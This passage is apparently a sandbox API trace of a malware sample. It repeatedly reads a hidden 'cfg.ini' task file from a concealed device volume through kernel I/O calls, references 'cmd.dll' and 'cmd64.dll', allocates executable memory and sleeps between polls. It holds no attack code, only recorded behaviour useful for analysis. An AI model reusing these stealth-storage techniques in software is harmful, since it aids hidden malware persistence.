VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.696] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.696] IdePortDispatch () returned 0x103 [0118.697] KeWaitForMutexObject () returned 0x0 [0118.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.697] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.697] IdePortDispatch () returned 0x103 [0118.697] KeWaitForMutexObject () returned 0x0 [0118.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.697] KeLeaveCriticalRegion () [0118.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.698] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.698] KeEnterCriticalRegion () [0118.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] KeLeaveCriticalRegion () [0118.698] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.698] KeEnterCriticalRegion () [0118.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.698] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] KeLeaveCriticalRegion () [0118.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.698] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.698] KeEnterCriticalRegion () [0118.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] ExFreePoolWithTag (P=0xfffffa80039cf830, Tag=0x0) [0118.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.698] KeLeaveCriticalRegion () [0118.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.699] ReleaseMutex (hMutex=0xf0) returned 1 [0118.699] Sleep (dwMilliseconds=0x927c0) [0118.713] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.713] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.713] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.713] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.713] KeEnterCriticalRegion () [0118.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.714] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.714] IdePortDispatch () returned 0x103 [0118.714] KeWaitForMutexObject () returned 0x0 [0118.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.714] KeLeaveCriticalRegion () [0118.714] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.714] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.714] KeEnterCriticalRegion () [0118.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.714] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.714] KeLeaveCriticalRegion () [0118.714] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.714] KeEnterCriticalRegion () [0118.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.715] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.715] IdePortDispatch () returned 0x103 [0118.715] KeWaitForMutexObject () returned 0x0 [0118.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.715] KeLeaveCriticalRegion () [0118.715] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.715] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.715] KeEnterCriticalRegion () [0118.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c16000 [0118.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.715] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.715] IdePortDispatch () returned 0x103 [0118.716] KeWaitForMutexObject () returned 0x0 [0118.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.716] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.716] IdePortDispatch () returned 0x103 [0118.716] KeWaitForMutexObject () returned 0x0 [0118.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.716] KeLeaveCriticalRegion () [0118.716] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.717] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.717] KeEnterCriticalRegion () [0118.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] KeLeaveCriticalRegion () [0118.717] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.717] KeEnterCriticalRegion () [0118.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.717] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] KeLeaveCriticalRegion () [0118.717] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.717] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.717] KeEnterCriticalRegion () [0118.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.717] KeLeaveCriticalRegion () [0118.717] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.717] ReleaseMutex (hMutex=0xf0) returned 1 [0118.717] Sleep (dwMilliseconds=0x927c0) [0118.736] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.736] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.737] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.737] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.737] KeEnterCriticalRegion () [0118.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.737] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.737] IdePortDispatch () returned 0x103 [0118.737] KeWaitForMutexObject () returned 0x0 [0118.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.737] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.737] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.737] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.737] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.737] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba0130 [0118.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.737] KeLeaveCriticalRegion () [0118.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.737] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.737] KeEnterCriticalRegion () [0118.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.737] KeLeaveCriticalRegion () [0118.738] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.738] KeEnterCriticalRegion () [0118.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.738] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.738] IdePortDispatch () returned 0x103 [0118.738] KeWaitForMutexObject () returned 0x0 [0118.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.738] KeLeaveCriticalRegion () [0118.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.738] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.738] KeEnterCriticalRegion () [0118.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.738] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1b000 [0118.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.738] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.738] IdePortDispatch () returned 0x103 [0118.739] KeWaitForMutexObject () returned 0x0 [0118.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.739] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.739] IdePortDispatch () returned 0x103 [0118.739] KeWaitForMutexObject () returned 0x0 [0118.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.739] KeLeaveCriticalRegion () [0118.739] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.740] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.740] KeEnterCriticalRegion () [0118.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] KeLeaveCriticalRegion () [0118.740] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.740] KeEnterCriticalRegion () [0118.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.740] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] KeLeaveCriticalRegion () [0118.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.740] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.740] KeEnterCriticalRegion () [0118.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] ExFreePoolWithTag (P=0xfffffa8003ba0130, Tag=0x0) [0118.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.740] KeLeaveCriticalRegion () [0118.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.740] ReleaseMutex (hMutex=0xf0) returned 1 [0118.741] Sleep (dwMilliseconds=0x927c0) [0118.760] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.760] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.760] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.760] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.760] KeEnterCriticalRegion () [0118.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.760] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.760] IdePortDispatch () returned 0x103 [0118.760] KeWaitForMutexObject () returned 0x0 [0118.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.761] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.761] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.761] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e60 [0118.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.761] KeLeaveCriticalRegion () [0118.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.761] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.761] KeEnterCriticalRegion () [0118.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.761] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.761] KeLeaveCriticalRegion () [0118.761] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.761] KeEnterCriticalRegion () [0118.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.761] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.761] IdePortDispatch () returned 0x103 [0118.761] KeWaitForMutexObject () returned 0x0 [0118.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.761] KeLeaveCriticalRegion () [0118.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.762] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.762] KeEnterCriticalRegion () [0118.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c20000 [0118.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.762] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.762] IdePortDispatch () returned 0x103 [0118.762] KeWaitForMutexObject () returned 0x0 [0118.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.762] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.762] IdePortDispatch () returned 0x103 [0118.762] KeWaitForMutexObject () returned 0x0 [0118.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.763] KeLeaveCriticalRegion () [0118.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.763] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.763] KeEnterCriticalRegion () [0118.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.763] KeLeaveCriticalRegion () [0118.763] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.763] 